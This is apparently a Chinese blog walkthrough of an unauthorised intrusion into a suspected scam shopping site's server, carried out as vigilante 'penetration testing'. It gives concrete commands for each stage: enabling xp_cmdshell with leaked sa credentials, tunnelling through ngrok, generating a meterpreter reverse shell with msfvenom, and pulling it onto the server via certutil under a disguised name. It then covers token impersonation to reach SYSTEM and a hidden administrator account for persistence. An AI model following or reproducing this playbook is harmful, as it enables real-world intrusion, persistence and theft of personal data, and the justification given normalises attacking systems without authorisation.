免责声明
本文内容涉及程序/技术原理可能带有攻击性,仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。
因此造成的后果自行承担,如有违反国家法律则自行承担全部法律责任,与NowSec及分享者无关
0.起因
博主从周一到周五一直在收同一个公司发送的垃圾短信(这从短信链接中的域名可以看出),但是当博主点进网页看的时候,发现这是可以说是一家骗子网站吧。
网站所卖的东西 都是衣服、纪念币、眼镜以及蓝牙耳机等等之类的东西。但是自习观察会发现这不是一个正常的购物网站。现在都9102年了,哪个网站会仅支持货到付款的方式,而且还是买一送一的那种,所以博主在接受了一周的垃圾短信之后,决定要拿下这个站。不,这这台服务器。
后来当第一次链接到数据库的时候,发现有两个库中的订单表中公民个人身份信息竟存储高达80W+条。但是观察他们的发货情况,又是选择性的发货,而这些包裹大多是一些廉价的东西,甚至有些是空包裹,然后快递到达后需要支付几百元的快递费用。导致我们受到经济损失。
所以本着为民除害的前提,对该站进行了渗透测试,后续将在进一步调查取证后,将提交给相关部门进行进一步处理。
对于这次渗透测试,整体难度等级比较低,因为网站存在网站整站备份的敏感文件泄露,所以可以通过代码审计的方式,非常快速的找到我们需要的东西。但是对于新手来说,内网穿透是一个需要研究时间比较常的环节,可以尝试Ngrok或Frp
1.首先通过AWVS扫描目标网站,发现有网站备份文件泄露,将备份文件下载下来后,对代码进行审计,发现有连接连接数据库的文件,而且是sa账户,我们来连接数据库。
2.使用Navicat 连接数据库
3.连接上数据库我们可以看到是sa用户,我们可以尝试开启xp_cmdshell,来进行命令执行
命令:
sp_configure 'show advanced options', **1**
reconfigure
go
sp_configure 'show advanced options',1
reconfigure
go
这里我们启用xp_cmdshell组件功能,然后我们尝试执行一些命令。
4.我们使用xp_cmdshell组件执行ipconfig命令,查看一下服务器IP地址
5.下面我们使用whoami命令查看一下我们当前的用户,发现是mssqlserver权限,这个权限并不高,不是我们想要的。
6.因为我们的kali处于内网环境,而公网的shell无法直接反弹回来,所以我们要做一个内网穿透。
①内网穿透服务。
注册账号之后,可以先开通一个免费的ngrok隧道。
这里我们来解释一下这几个选项应该怎么选,空应该怎么填。
隧道协议:选择tcp
隧道名称:这个名称可以随意填写
远程端口:远程端口是我们开通ngrok隧道服务器的端口。这里我们可以在1024-65535之间选择一个没有被占用的端口即可。
本地端口:这里填写我们kali或我们攻击机内网的IP地址和需要本地映射的端口,一般建议远程端口和本地端口保持一致即可。
设设置完成后点击确认添加
确认添加之后我们需要下载一个客户端来连接我们的服务端。
我们选择Ngrok客户端进行下载
但是当我们点击进去之后发现有很多个版本供我们选择
当我们不知道选择哪个版本的时候,我们需要看一下我们的kali或攻击机的架构,是由arch命令进行查看
可以看到是x86_64,所以我们下载64位版本即可。
我们将下载好的文件拷贝只kali的目录下进行执行连接服务器
命令:
Sunny clientid 隧道ID
注:隧道ID在开通ngrok隧道中查看
连接好之后我们可以看到这事ngrok是一个在线的状态。
7.接下来我们生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcf*****.com lport=19*** -f exe > FileName.exe
参数说明:
Lhost:Ngrok服务器:给定的免费域名
Lport:远程端口
FilenName.exe:生成木马的文件名
8.木马生成之后,我们就要想办法将木马下载到我们的目标服务器上。这里我们可以使用certutil.exe来进行下载
master..xp_cmdshell 'certutil.exe -urlcache -split -f http://www.ike***.com/InternetExploreUpdate.exe c:\test\InternetExploreUpdate.exe'
注:这里我使用自己的一台服务器进行下载。
我们将木马程序下载至目标服务器C盘的test文件夹下。当然这个目录是需要提前创建好的,而且在mssqlserver
用户权限下是可以进行创建的。
9.在kali进行设置监听
使用msfconsole命令进入msf
①use exploit/multi/handler
设置使用exploit/multi/handler
模块
②set payload windows/meterpreter/reverse_tcp
设置payload
③set LHOST kali本机IP地址
设置本机的IP地址
④set LPORT 19864
设置本地监听端口
10.在数据库中使用xp_cmdshell执行我们上传的木马文件。
- 在kali’中执行run命令后,稍等片刻,就会返回一个目标服务器的shell
12.返回shell之后我们查看一下用户,发现还是mssqlserver,但是这并不是我们想要的。
13.使用use incognito来加载会话令牌模块
14.使用list_tokens -u
来列出会话令牌。
- 使用
impersonate_token "WIN-C1KQQ8MIB6A\Administrator"
盗取 administrator 令牌
16.我们继续查看返回shell用户的,发现已经是管理员用户了,但是这对我们来说还不够
17.使用getsystem来获取system权限,通过getuid查看我们获取到了system权限
18.使用shell命令,将目标服务器中的shell反弹回来。
19.使用whoami查看当前用户,可以看到是system
20.使用systeminfo查看系统信息,发现存在乱码
21.使用chcp 65001进行修改
22.再次执行systeminfo,可以看到已经全部回复正常。
23.创建隐藏账户
24.将用户加入到管理员组中
25.远程连接目标服务器,我们可以看到连接成功。